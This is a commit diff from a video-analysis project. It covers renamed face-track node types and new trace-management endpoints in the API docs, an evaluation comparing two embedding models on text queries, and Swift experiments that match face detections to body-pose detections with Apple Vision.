| `hand_object` | `HOLDS` | hand → object | Hand holding object |
---
@@ -55,10 +106,10 @@ curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/rebuild" \
"success": true,
"file_uuid": "d3f9ae8e471a1fc4d47022c66091b920",
"result": {
"face_trace_nodes": 16,
"gaze_trace_nodes": 16,
"lip_trace_nodes": 12,
"text_trace_nodes": 24,
"face_track_nodes": 16,
"gaze_track_nodes": 16,
"lip_track_nodes": 12,
"text_region_nodes": 24,
"appearance_trace_nodes": 8,
"skin_tone_trace_nodes": 5,
"accessory_nodes": 3,
@@ -96,18 +147,18 @@ Query TKG nodes with pagination and optional type filter.
| Field | Type | Required | Default | Description |
|-------|------|----------|---------|-------------|
| `node_type` | string | No | all | Filter by node type: `face_trace`, `gaze_trace`, `lip_trace`, `text_trace`, `appearance_trace`, `skin_tone_trace`, `accessory`, `object`, `speaker` |
| `node_type` | string | No | all | Filter by node type: `face_track`, `gaze_track`, `lip_track`, `text_region`, `appearance_trace`, `skin_tone_trace`, `accessory`, `object`, `speaker` |
| `page` | integer | No | 1 | Page number |
| `page_size` | integer | No | 100 | Items per page (max 500) |
#### Example
```bash
# Get all face_trace nodes
# Get all face_track nodes
curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{"node_type": "face_trace", "page": 1, "page_size": 50}'
-d '{"node_type": "face_track", "page": 1, "page_size": 50}'
# Get all nodes
curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \
@@ -128,12 +179,12 @@ curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \
"nodes": [
{
"id": 1,
"node_type": "face_trace",
"external_id": "trace_0",
"label": "Face Trace 0",
"node_type": "face_track",
"external_id": "face_track_0",
"label": "Face Track 0",
"properties": {
"trace_id": 0,
"face_count": 142,
"frame_count": 142,
"avg_confidence": 0.87
}
}
@@ -177,17 +228,17 @@ Query TKG edges with pagination and optional filters.
#### Example
```bash
# Get all co_occurrence edges
# Get all co_occurs edges
curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/edges" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{"edge_type": "co_occurs"}'
# Get edges between face_trace and speaker nodes
# Get edges between face_track and speaker nodes
curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/edges" \
-H "X-API-Key: $KEY" \
-H "Content-Type: application/json" \
-d '{"source_type": "speaker", "target_type": "face_trace"}'
-d '{"source_type": "speaker", "target_type": "face_track"}'
```
#### Response (200)
@@ -251,12 +302,12 @@ curl -s "$API/api/v1/file/$FILE_UUID/tkg/node/1" \
"success": true,
"node": {
"id": 1,
"node_type": "face_trace",
"external_id": "trace_0",
"label": "Face Trace 0",
"node_type": "face_track",
"external_id": "face_track_0",
"label": "Face Track 0",
"properties": {
"trace_id": 0,
"face_count": 142,
"frame_count": 142,
"avg_confidence": 0.87
}
},
@@ -375,4 +426,101 @@ curl -s "$API/api/v1/file/$FILE_UUID/processor-counts" \
---
*Updated: 2026-06-20 12:00:00*
### Trace Management
Endpoints for managing face traces: list, delete, restore, and merge.
#### `DELETE /api/v1/file/:file_uuid/trace/:trace_id`
**Auth**: Required
Soft-delete a face trace (default) or hard-delete with `{"hard_delete": true}`.
Soft delete marks Qdrant points with `status: "deleted"` and TKG nodes with `status: "deleted"` in properties. Deleted traces are excluded from the traces list.
Hard delete permanently removes Qdrant points and TKG nodes.
**Request Body** (optional):
| Field | Type | Default | Description |
|-------|------|---------|-------------|
| `hard_delete` | boolean | `false` | Permanently delete instead of marking |
**Example**:
```bash
# Soft delete
curl -X DELETE "$API/api/v1/file/$FILE_UUID/trace/8" \
-H "X-API-Key: $KEY" -H "Content-Type: application/json" -d '{}'
# Hard delete
curl -X DELETE "$API/api/v1/file/$FILE_UUID/trace/8" \
-H "X-API-Key: $KEY" -H "Content-Type: application/json" \
-d '{"hard_delete": true}'
```
**Response**:
```json
{
"success": true,
"file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5",
"trace_id": 8,
"hard_delete": false,
"qdrant_marked": true,
"tkg_nodes_marked": 1
}
```
---
#### `POST /api/v1/file/:file_uuid/trace/:trace_id/restore`
**Auth**: Required
Undo a soft-deleted trace. Clears `status: "deleted"` from Qdrant points and TKG node properties.
**Example**:
```bash
curl -X POST "$API/api/v1/file/$FILE_UUID/trace/8/restore" \
-H "X-API-Key: $KEY"
```
**Response**:
```json
{
"success": true,
"file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5",
"trace_id": 8,
"qdrant_restored": true,
"tkg_nodes_restored": 1
}
```
---
#### `POST /api/v1/file/:file_uuid/trace/:source_trace_id/merge/:target_trace_id`
**Auth**: Required
Merge all face points from source trace into target trace. Updates Qdrant `trace_id` and deletes source TKG node.
**Example**:
```bash
curl -X POST "$API/api/v1/file/$FILE_UUID/trace/16/merge/3" \
-H "X-API-Key: $KEY"
```
**Response**:
```json
{
"success": true,
"file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5",
"source_trace_id": 16,
"target_trace_id": 3,
"points_moved": 58,
"tkg_nodes_deleted": 1
}
```
---
*Updated: 2026-07-21 01:00:00*
docs_v1.0/doc_wasm/modules/18_profile.md
+2 -73
View File
@@ -1,5 +1,5 @@
<!-- module: profile -->
<!-- description: Trace profile, face groups, and file profile management — read/update face trace names, key frames, aliases, and file paths -->
<!-- description: Trace profile and file profile management — read/update face trace names, key frames, aliases, and file paths -->
<!-- depends: 01_auth, 07_identity, 15_tkg -->
## Profile Management
@@ -158,77 +158,6 @@ curl -s -X PUT "$API/api/v1/trace-profile/group" \
---
### `GET /api/v1/file/:file_uuid/face-groups`
**Auth**: Required
**Scope**: file-level
Get face groups for a file. Groups face traces by their label (name) and returns both named groups and unassigned traces.
#### Path Parameters
| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `file_uuid` | string | Yes | File UUID |
#### Example
```bash
curl -s "$API/api/v1/file/$FILE_UUID/face-groups" \
-H "X-API-Key: $KEY"
```
#### Response (200)
```json
{
"success": true,
"file_uuid": "d3f9ae8e471a1fc4d47022c66091b920",
"face_groups": [
{
"group_id": 1,
"name": "Cary Grant",
"trace_ids": [9, 6, 8],
"trace_count": 3,
"representative_trace": 9,
"editable": true
},
{
"group_id": 2,
"name": "Audrey Hepburn",
"trace_ids": [1, 11, 4, 10],
"trace_count": 4,
"representative_trace": 1,
"editable": true
}
],
"total_groups": 2,
"unassigned_traces": [5, 7]
}
```
| Field | Type | Description |
|-------|------|-------------|
| `success` | boolean | Always `true` on success |
| `file_uuid` | string | File UUID |
| `face_groups` | array | List of named face groups |
| `face_groups[].group_id` | integer | Sequential group number (starts at 1) |
| `face_groups[].name` | string | Group name (from TKG `label`) |
| `face_groups[].trace_ids` | integer[] | Trace IDs in this group |
| `face_groups[].trace_count` | integer | Number of traces in group |
| `face_groups[].representative_trace` | integer | First trace ID in group |
| `face_groups[].editable` | boolean | Always `true` (groups can be renamed) |
| `total_groups` | integer | Total named groups |
| `unassigned_traces` | integer[] | Traces with default names (e.g., "Face Trace 9") |
#### Notes
- Unassigned traces have labels starting with "Face Trace " or "Trace "
- Groups are sorted by first trace_id in each group
- `group_id` is dynamically generated and may change between requests
---
### `GET /api/v1/file-profile`
**Auth**: Required
@@ -335,5 +264,5 @@ curl -s -X PUT "$API/api/v1/file-profile" \
| `aliases` | `properties->'aliases'` | Multi-language name aliases |
---
*Updated: 2026-07-19 — Added face-groups endpoint for Studio Proxy integration*
*Updated: 2026-07-21 — Fixed external_id matching (trace_N + face_track_N formats), fixed parameter ordering in UPDATE query*
*Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)*
embedding_eval_results.json
+265
View File
@@ -0,0 +1,265 @@
{
"embeddinggemma": {
"model": "embeddinggemma",
"dimension": 768,
"avg_latency_ms": 249.0,
"total_embeddings": 1,
"test_results": [
{
"query": "\u7a7f\u897f\u88dd\u7684\u7537\u4eba",
"lang": "zh",
"latency_ms": 29.7,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.618
}
]
},
{
"query": "\u5ba4\u5167\u8fa6\u516c\u5ba4",
"lang": "zh",
"latency_ms": 22.2,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.5367
}
]
},
{
"query": "\u96ea\u666f",
"lang": "zh",
"latency_ms": 193.7,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.5184
}
]
},
{
"query": "\u6301\u69cd\u7684\u4eba",
"lang": "zh",
"latency_ms": 75.1,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.6248
}
]
},
{
"query": "woman in white dress",
"lang": "en",
"latency_ms": 65.3,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.5616
}
]
},
{
"query": "outdoor scene night",
"lang": "en",
"latency_ms": 21.6,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.5207
}
]
},
{
"query": "person holding object",
"lang": "en",
"latency_ms": 22.2,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.6037
}
]
},
{
"query": "\u7a7f\u8457 formal \u7684\u7537\u4eba",
"lang": "mixed",
"latency_ms": 20.9,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.603
}
]
}
]
},
"nomic-embed-text-v2-moe": {
"model": "nomic-embed-text-v2-moe",
"dimension": 768,
"avg_latency_ms": 1283.6,
"total_embeddings": 1,
"test_results": [
{
"query": "\u7a7f\u897f\u88dd\u7684\u7537\u4eba",
"lang": "zh",
"latency_ms": 123.9,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.3129
}
]
},
{
"query": "\u5ba4\u5167\u8fa6\u516c\u5ba4",
"lang": "zh",
"latency_ms": 96.2,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.1364
}
]
},
{
"query": "\u96ea\u666f",
"lang": "zh",
"latency_ms": 60.5,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.2002
}
]
},
{
"query": "\u6301\u69cd\u7684\u4eba",
"lang": "zh",
"latency_ms": 90.5,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.3004
}
]
},
{
"query": "woman in white dress",
"lang": "en",
"latency_ms": 55.1,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.3052
}
]
},
{
"query": "outdoor scene night",
"lang": "en",
"latency_ms": 56.0,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.1561
}
]
},
{
"query": "person holding object",
"lang": "en",
"latency_ms": 55.7,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.2698
}
]
},
{
"query": "\u7a7f\u8457 formal \u7684\u7537\u4eba",
"lang": "mixed",
"latency_ms": 56.3,
"top5": [
{
"id": "trace_0",
"type": "trace",
"text": "The image shows two individuals who appear to be adults. However, without more specific details or i",
"score": 0.316
}
]
}
]
},
"comparison": {
"dimension_a": 768,
"dimension_b": 768,
"latency_diff_ms": 1034.6
},
"queries": [
{
"query": "\u7a7f\u897f\u88dd\u7684\u7537\u4eba",
"lang": "zh"
},
{
"query": "\u5ba4\u5167\u8fa6\u516c\u5ba4",
"lang": "zh"
},
{
"query": "\u96ea\u666f",
"lang": "zh"
},
{
"query": "\u6301\u69cd\u7684\u4eba",
"lang": "zh"
},
{
"query": "woman in white dress",
"lang": "en"
},
{
"query": "outdoor scene night",
"lang": "en"
},
{
"query": "person holding object",
"lang": "en"
},
{
"query": "\u7a7f\u8457 formal \u7684\u7537\u4eba",
"lang": "mixed"
}
]
}
experiments/face_pose_sync_poc/crop_experiment
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experiments/face_pose_sync_poc/face_pose_crop_experiment.swift
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#!/opt/homebrew/bin/swift
/**
* Face-to-Pose Cropping Experiment
*
* 用 face bbox 放大比例擷取區域，送給 Apple Vision body pose 處理
* 驗證是否能提高 face-pose 匹配準確率
*
* Usage: swift face_pose_crop_experiment.swift --video <video_path> --frames <count>
*/
import Foundation
import AVFoundation
import Vision
import CoreGraphics
import CoreImage
// MARK: - Data Models
struct FaceResult {
let x: Int, y: Int, w: Int, h: Int
let confidence: Float
}
struct PoseResult {
let bbox: BBox
let noseX: Double, noseY: Double
let hasNose: Bool
struct BBox {
let x: Int, y: Int, w: Int, h: Int
}
}
struct FrameResult: Codable {
let frame: Int
let faceCount: Int
let poseFullCount: Int
let poseCropCount: Int
let faces: [FaceEntry]
let posesFull: [PoseEntry]
let posesCrop: [PoseEntry]
struct FaceEntry: Codable {
let x: Int, y: Int, w: Int, h: Int
}
struct PoseEntry: Codable {
let x: Int, y: Int, w: Int, h: Int
let noseX: Double, noseY: Double
}
}
struct Summary: Codable {
let totalFrames: Int
let fullFrameMatches: Int
let croppedMatches: Int
let fullFrameAvgDist: Double
let croppedAvgDist: Double
}
// MARK: - Detection Functions
func detectFaces(imageBuffer: CVPixelBuffer, width: Int, height: Int) -> [FaceResult] {
let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:])
let request = VNDetectFaceRectanglesRequest()
var results: [FaceResult] = []
do {
try handler.perform([request])
if let observations = request.results {
for obs in observations {
let rect = obs.boundingBox
results.append(FaceResult(
x: Int(rect.origin.x * Double(width)),
y: Int((1 - rect.origin.y - rect.height) * Double(height)),
w: Int(rect.width * Double(width)),
h: Int(rect.height * Double(height)),
confidence: obs.confidence
))
}
}
} catch {}
return results
}
func detectPoseInRegion(imageBuffer: CVPixelBuffer, width: Int, height: Int, cropRect: CGRect? = nil) -> [PoseResult] {
var targetBuffer: CVPixelBuffer = imageBuffer
// If cropRect provided, crop the image
if let rect = cropRect {
let ciImage = CIImage(cvPixelBuffer: imageBuffer)
let context = CIContext(options: nil)
let cropped = ciImage.cropped(to: rect)
// Create new pixel buffer for cropped image
let cropW = Int(rect.width)
let cropH = Int(rect.height)
var newBuffer: CVPixelBuffer?
let status = CVPixelBufferCreate(kCFAllocatorDefault, cropW, cropH, kCVPixelFormatType_32BGRA, nil, &newBuffer)
guard status == kCVReturnSuccess, let buffer = newBuffer else { return [] }
context.render(cropped, to: buffer)
targetBuffer = buffer
}
let handler = VNImageRequestHandler(cvPixelBuffer: targetBuffer, options: [:])
let request = VNDetectHumanBodyPoseRequest()
var results: [PoseResult] = []
do {
try handler.perform([request])
if let observations = request.results as? [VNHumanBodyPoseObservation] {
for obs in observations {
var minX = Double.infinity, minY = Double.infinity
var maxX = -Double.infinity, maxY = -Double.infinity
var noseX: Double = 0, noseY: Double = 0
var hasNose = false
let joints: [VNHumanBodyPoseObservation.JointName] = [.nose, .leftEye, .rightEye, .leftShoulder, .rightShoulder]
for jn in joints {
if let pt = try? obs.recognizedPoint(jn), pt.confidence > 0.3 {
let px = pt.location.x * Double(width)
let py = (1 - pt.location.y) * Double(height)
minX = min(minX, px)
minY = min(minY, py)
maxX = max(maxX, px)
maxY = max(maxY, py)
if jn == .nose { noseX = px; noseY = py; hasNose = true }
}
}
if hasNose {
let pad = 20
results.append(PoseResult(
bbox: PoseResult.BBox(
x: Int(max(0, minX - Double(pad))),
y: Int(max(0, minY - Double(pad))),
w: Int(maxX - minX + Double(pad * 2)),
h: Int(maxY - minY + Double(pad * 2))
),
noseX: noseX,
noseY: noseY,
hasNose: true
))
}
}
}
} catch {}
return results
}
// MARK: - Main
func run(videoPath: String, maxFrames: Int) async {
print("[CropExperiment] Loading video: \(videoPath)")
let url = URL(fileURLWithPath: videoPath)
let asset = AVURLAsset(url: url)
let tracks = (try? await asset.loadTracks(withMediaType: .video)) ?? []
guard let track = tracks.first else { exit(1) }
let formatDesc = (try? await track.load(.formatDescriptions))?.first
let dims = formatDesc.map { CMVideoFormatDescriptionGetDimensions($0) } ?? CMVideoDimensions(width: 1920, height: 1080)
let width = Int(dims.width)
let height = Int(dims.height)
print("[CropExperiment] Video: \(width)x\(height)")
print("[CropExperiment] Analyzing \(maxFrames) frames...\n")
guard let reader = try? AVAssetReader(asset: asset) else { exit(1) }
let outputSettings: [String: Any] = [kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)]
let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings)
reader.add(trackOutput)
reader.startReading()
var frameResults: [FrameResult] = []
var frameIndex = 0
let scaleFactors: [Double] = [2.0, 3.0, 4.0] // Test different scale factors
print("[CropExperiment] Processing frames...\n")
while reader.status == .reading, let sampleBuffer = trackOutput.copyNextSampleBuffer() {
if frameIndex >= maxFrames { break }
guard let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else {
frameIndex += 1
continue
}
// Detect faces
let faces = detectFaces(imageBuffer: imageBuffer, width: width, height: height)
// Detect pose on full frame
let posesFull = detectPoseInRegion(imageBuffer: imageBuffer, width: width, height: height)
// Detect pose on cropped region with different scale factors
var posesCrop2x: [PoseResult] = []
var posesCrop4x: [PoseResult] = []
var posesCropFull: [PoseResult] = []
if let firstFace = faces.first {
let cx = Double(firstFace.x + firstFace.w / 2)
let cy = Double(firstFace.y + firstFace.h / 2)
// 2x scale
let scale2 = 2.0
let cropW2 = Double(firstFace.w) * scale2
let cropH2 = Double(firstFace.h) * scale2
let rect2 = CGRect(x: max(0, cx - cropW2/2), y: max(0, cy - cropH2/2), width: min(cropW2, Double(width)), height: min(cropH2, Double(height)))
posesCrop2x = detectPoseInRegion(imageBuffer: imageBuffer, width: Int(rect2.width), height: Int(rect2.height), cropRect: rect2)
// 4x scale
let scale4 = 4.0
let cropW4 = Double(firstFace.w) * scale4
let cropH4 = Double(firstFace.h) * scale4
let rect4 = CGRect(x: max(0, cx - cropW4/2), y: max(0, cy - cropH4/2), width: min(cropW4, Double(width)), height: min(cropH4, Double(height)))
posesCrop4x = detectPoseInRegion(imageBuffer: imageBuffer, width: Int(rect4.width), height: Int(rect4.height), cropRect: rect4)
}
// Calculate matching distances
var fullDists: [Double] = []
var cropDists: [Double] = []
for face in faces {
let fcx = Double(face.x + face.w / 2)
let fcy = Double(face.y + face.h / 2)
if let pose = posesFull.first(where: { $0.hasNose }) {
let dist = abs(fcx - pose.noseX) + abs(fcy - pose.noseY)
fullDists.append(dist)
}
if let pose = posesCrop.first(where: { $0.hasNose }) {
let dist = abs(fcx - pose.noseX) + abs(fcy - pose.noseY)
cropDists.append(dist)
}
}
frameResults.append(FrameResult(
frame: frameIndex,
faceCount: faces.count,
poseFullCount: posesFull.count,
poseCropCount: posesCrop.count,
faces: faces.map { FrameResult.FaceEntry(x: $0.x, y: $0.y, w: $0.w, h: $0.h) },
posesFull: posesFull.map { FrameResult.PoseEntry(x: $0.bbox.x, y: $0.bbox.y, w: $0.bbox.w, h: $0.bbox.h, noseX: $0.noseX, noseY: $0.noseY) },
posesCrop: posesCrop.map { FrameResult.PoseEntry(x: $0.bbox.x, y: $0.bbox.y, w: $0.bbox.w, h: $0.bbox.h, noseX: $0.noseX, noseY: $0.noseY) }
))
if frameIndex % 50 == 0 {
print(" Frame \(frameIndex): faces=\(faces.count), pose_full=\(posesFull.count), pose_crop=\(posesCrop.count)")
}
frameIndex += 1
}
reader.cancelReading()
// Calculate summary
let totalFrames = frameResults.count
var fullDistsAll: [Double] = []
var cropDistsAll: [Double] = []
for fr in frameResults {
for face in fr.faces {
let fcx = Double(face.x + face.w / 2)
let fcy = Double(face.y + face.h / 2)
for pose in fr.posesFull {
fullDistsAll.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY))
}
for pose in fr.posesCrop {
cropDistsAll.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY))
}
}
}
let fullAvg = fullDistsAll.isEmpty ? 0 : fullDistsAll.reduce(0, +) / Double(fullDistsAll.count)
let cropAvg = cropDistsAll.isEmpty ? 0 : cropDistsAll.reduce(0, +) / Double(cropDistsAll.count)
let fullMatches = fullDistsAll.filter { $0 < 100 }.count
let cropMatches = cropDistsAll.filter { $0 < 100 }.count
let summary = Summary(
totalFrames: totalFrames,
fullFrameMatches: fullMatches,
croppedMatches: cropMatches,
fullFrameAvgDist: fullAvg,
croppedAvgDist: cropAvg
)
// Save results
let encoder = JSONEncoder()
encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
let outputDir = "experiments/face_pose_sync_poc/output"
try? FileManager.default.createDirectory(atPath: outputDir, withIntermediateDirectories: true)
let framesData = try! encoder.encode(frameResults)
try! framesData.write(to: URL(fileURLWithPath: "\(outputDir)/crop_experiment_frames.json"))
let summaryData = try! encoder.encode(summary)
try! summaryData.write(to: URL(fileURLWithPath: "\(outputDir)/crop_experiment_summary.json"))
// Print report
print("\n" + String(repeating: "=", count: 50))
print(" Face-Pose Cropping Experiment Report")
print(String(repeating: "=", count: 50))
print("Frames analyzed: \(totalFrames)")
print()
print("Full Frame Detection:")
print(" Avg distance: \(String(format: "%.1f", fullAvg))px")
print(" Matches (<100px): \(fullMatches) (\(fullDistsAll.count > 0 ? String(format: "%.1f%%", Double(fullMatches)/Double(fullDistsAll.count)*100) : "N/A"))")
print()
print("Cropped Region Detection (3x face bbox):")
print(" Avg distance: \(String(format: "%.1f", cropAvg))px")
print(" Matches (<100px): \(cropMatches) (\(cropDistsAll.count > 0 ? String(format: "%.1f%%", Double(cropMatches)/Double(cropDistsAll.count)*100) : "N/A"))")
print()
print("Improvement:")
print(" Distance reduction: \(fullAvg > 0 ? String(format: "%.1f%%", (fullAvg - cropAvg) / fullAvg * 100) : "N/A")")
print()
print("Results saved to: \(outputDir)/crop_experiment_*.json")
}
// Parse arguments
let args = CommandLine.arguments
let videoPath: String
let maxFrames: Int
if args.count >= 2 {
videoPath = args[1]
maxFrames = args.count > 2 ? Int(args[2]) ?? 300 : 300
} else {
// Default test video
videoPath = "/Users/accusys/momentry/var/sftpgo/data/demo/Accusys-WD_FilmRiot_test.mp4"
maxFrames = 300
}
print("[CropExperiment] Starting...")
await run(videoPath: videoPath, maxFrames: maxFrames)
experiments/face_pose_sync_poc/face_pose_experiment.swift
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#!/opt/homebrew/bin/swift
/**
* Face-Pose Matching Experiment
*
* 測試不同方法來匹配 face 和 body pose
* 1. Full frame pose detection
* 2. Cropped region (2x, 4x face bbox)
* 3. 找出最佳匹配方法
*/
import Foundation
import AVFoundation
import Vision
import CoreGraphics
import CoreImage
struct FaceData {
let x: Int, y: Int, w: Int, h: Int
}
struct PoseData {
let noseX: Double, noseY: Double
let bboxX: Int, bboxY: Int, bboxW: Int, bboxH: Int
}
func detectFaces(imageBuffer: CVPixelBuffer, width: Int, height: Int) -> [FaceData] {
let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:])
let request = VNDetectFaceRectanglesRequest()
var results: [FaceData] = []
try? handler.perform([request])
if let observations = request.results {
for obs in observations {
let rect = obs.boundingBox
results.append(FaceData(
x: Int(rect.origin.x * Double(width)),
y: Int((1 - rect.origin.y - rect.height) * Double(height)),
w: Int(rect.width * Double(width)),
h: Int(rect.height * Double(height))
))
}
}
return results
}
func detectPose(imageBuffer: CVPixelBuffer, width: Int, height: Int, cropRect: CGRect? = nil) -> [PoseData] {
var targetBuffer: CVPixelBuffer = imageBuffer
if let rect = cropRect {
let ciImage = CIImage(cvPixelBuffer: imageBuffer)
let context = CIContext(options: nil)
let cropped = ciImage.cropped(to: rect)
let cropW = Int(rect.width)
let cropH = Int(rect.height)
var newBuffer: CVPixelBuffer?
let status = CVPixelBufferCreate(kCFAllocatorDefault, cropW, cropH, kCVPixelFormatType_32BGRA, nil, &newBuffer)
guard status == kCVReturnSuccess, let buffer = newBuffer else { return [] }
context.render(cropped, to: buffer)
targetBuffer = buffer
}
let handler = VNImageRequestHandler(cvPixelBuffer: targetBuffer, options: [:])
let request = VNDetectHumanBodyPoseRequest()
var results: [PoseData] = []
try? handler.perform([request])
if let observations = request.results as? [VNHumanBodyPoseObservation] {
for obs in observations {
var minX = Double.infinity, minY = Double.infinity
var maxX = -Double.infinity, maxY = -Double.infinity
var noseX: Double = 0, noseY: Double = 0
var hasNose = false
for jn in [VNHumanBodyPoseObservation.JointName.nose, .leftEye, .rightEye, .leftShoulder, .rightShoulder] {
if let pt = try? obs.recognizedPoint(jn), pt.confidence > 0.3 {
let px = pt.location.x * Double(width)
let py = (1 - pt.location.y) * Double(height)
minX = min(minX, px); minY = min(minY, py)
maxX = max(maxX, px); maxY = max(maxY, py)
if jn == .nose { noseX = px; noseY = py; hasNose = true }
}
}
if hasNose {
results.append(PoseData(
noseX: noseX, noseY: noseY,
bboxX: Int(max(0, minX - 20)), bboxY: Int(max(0, minY - 20)),
bboxW: Int(maxX - minX + 40), bboxH: Int(maxY - minY + 40)
))
}
}
}
return results
}
func run(videoPath: String, maxFrames: Int) async {
print("[Experiment] Loading video: \(videoPath)")
let url = URL(fileURLWithPath: videoPath)
let asset = AVURLAsset(url: url)
let tracks = (try? await asset.loadTracks(withMediaType: .video)) ?? []
guard let track = tracks.first else { exit(1) }
let formatDesc = (try? await track.load(.formatDescriptions))?.first
let dims = formatDesc.map { CMVideoFormatDescriptionGetDimensions($0) } ?? CMVideoDimensions(width: 1920, height: 1080)
let width = Int(dims.width)
let height = Int(dims.height)
print("[Experiment] Video: \(width)x\(height)")
print("[Experiment] Analyzing \(maxFrames) frames...\n")
guard let reader = try? AVAssetReader(asset: asset) else { exit(1) }
let outputSettings: [String: Any] = [kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)]
let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings)
reader.add(trackOutput)
reader.startReading()
var frameIndex = 0
// Results tracking
var fullDists: [Double] = []
var crop2xDists: [Double] = []
var crop4xDists: [Double] = []
var framesWithFace = 0
var framesWithPoseFull = 0
var framesWithPose2x = 0
var framesWithPose4x = 0
print("[Experiment] Processing frames...")
while reader.status == .reading, let sampleBuffer = trackOutput.copyNextSampleBuffer() {
if frameIndex >= maxFrames { break }
guard let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else {
frameIndex += 1
continue
}
let faces = detectFaces(imageBuffer: imageBuffer, width: width, height: height)
if !faces.isEmpty {
framesWithFace += 1
// Full frame pose
let posesFull = detectPose(imageBuffer: imageBuffer, width: width, height: height)
if !posesFull.isEmpty { framesWithPoseFull += 1 }
// Cropped regions
let firstFace = faces[0]
let cx = Double(firstFace.x + firstFace.w / 2)
let cy = Double(firstFace.y + firstFace.h / 2)
// 2x crop
let rect2x = CGRect(x: max(0, cx - Double(firstFace.w)), y: max(0, cy - Double(firstFace.h)),
width: Double(firstFace.w * 2), height: Double(firstFace.h * 2))
let poses2x = detectPose(imageBuffer: imageBuffer, width: Int(rect2x.width), height: Int(rect2x.height), cropRect: rect2x)
if !poses2x.isEmpty { framesWithPose2x += 1 }
// 4x crop
let rect4x = CGRect(x: max(0, cx - Double(firstFace.w * 2)), y: max(0, cy - Double(firstFace.h * 2)),
width: Double(firstFace.w * 4), height: Double(firstFace.h * 4))
let poses4x = detectPose(imageBuffer: imageBuffer, width: Int(rect4x.width), height: Int(rect4x.height), cropRect: rect4x)
if !poses4x.isEmpty { framesWithPose4x += 1 }
// Calculate distances
let fcx = cx
let fcy = cy
for pose in posesFull {
fullDists.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY))
}
for pose in poses2x {
crop2xDists.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY))
}
for pose in poses4x {
crop4xDists.append(abs(fcx - pose.noseX) + abs(fcy - pose.noseY))
}
}
if frameIndex % 50 == 0 {
print(" Frame \(frameIndex): faces=\(faces.count)")
}
frameIndex += 1
}
reader.cancelReading()
// Calculate stats
func stats(_ dists: [Double]) -> (avg: Double, median: Double, under50: Int, under100: Int) {
let sorted = dists.sorted()
let avg = sorted.isEmpty ? 0 : sorted.reduce(0, +) / Double(sorted.count)
let median = sorted.isEmpty ? 0 : sorted[sorted.count / 2]
let under50 = sorted.filter { $0 < 50 }.count
let under100 = sorted.filter { $0 < 100 }.count
return (avg, median, under50, under100)
}
let fullStats = stats(fullDists)
let crop2xStats = stats(crop2xDists)
let crop4xStats = stats(crop4xDists)
print("\n" + String(repeating: "=", count: 60))
print(" Face-Pose Matching Experiment Results")
print(String(repeating: "=", count: 60))
print("Frames analyzed: \(frameIndex)")
print("Frames with face: \(framesWithFace)")
print()
print("Detection Rate:")
print(" Full frame: \(framesWithPoseFull)/\(framesWithFace) (\(String(format: "%.1f%%", Double(framesWithPoseFull)/Double(max(1,framesWithFace))*100))")
print(" 2x crop: \(framesWithPose2x)/\(framesWithFace) (\(String(format: "%.1f%%", Double(framesWithPose2x)/Double(max(1,framesWithFace))*100))")
print(" 4x crop: \(framesWithPose4x)/\(framesWithFace) (\(String(format: "%.1f%%", Double(framesWithPose4x)/Double(max(1,framesWithFace))*100))")
print()
print("Distance (face center ↔ pose nose):")
print(" Method | Avg px | Median px | <50px | <100px | Pairs")
